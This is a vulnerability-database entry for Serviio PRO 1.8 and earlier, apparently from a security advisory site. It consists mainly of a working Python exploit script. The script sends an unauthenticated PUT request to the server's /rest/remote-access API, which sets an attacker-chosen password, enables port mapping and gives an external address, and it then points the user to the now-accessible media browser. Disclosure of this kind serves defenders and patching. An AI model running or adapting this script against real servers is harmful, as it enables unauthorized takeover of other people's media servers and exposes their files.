Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change

2017.05.04
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # # # Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change # # # Vendor: Petr Nejedly | Six Lines Ltd # Product web page: http://www.serviio.org # Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1 # # Summary: Serviio is a free media server. It allows you to stream your media # files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, # games console or mobile phone) on your connected home network. # # Desc: The version of Serviio installed on the remote Windows/Linux host is affected # by an unauthenticated password modification vulnerability due to improper access # control enforcement of the Configuration REST API. A remote attacker can exploit this, # via a specially crafted request, to change the login password for the mediabrowser protected # page. # # Tested on: Restlet-Framework/2.2 # Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5407 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5407.php # # SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094 # # # 12.12.2016 # import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 3): print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>' print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2' exit(0) host = sys.argv[1] port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424. lozi = sys.argv[3] values = """ <remoteAccess> <remoteUserPassword>{0}</remoteUserPassword> <preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality> <portMappingEnabled>true</portMappingEnabled> <externalAddress>myserviio.dyndns.com</externalAddress> </remoteAccess>""" put = values.format(lozi) headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml' } request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers) request.get_method = lambda: 'PUT' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for errorcode in roottree.iter('errorCode'): print "\nReceived error code: "+errorcode.text print 'Password successfully changed to: '+lozi print 'Go to: http://'+host+':23424/mediabrowser\n'

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5407.php


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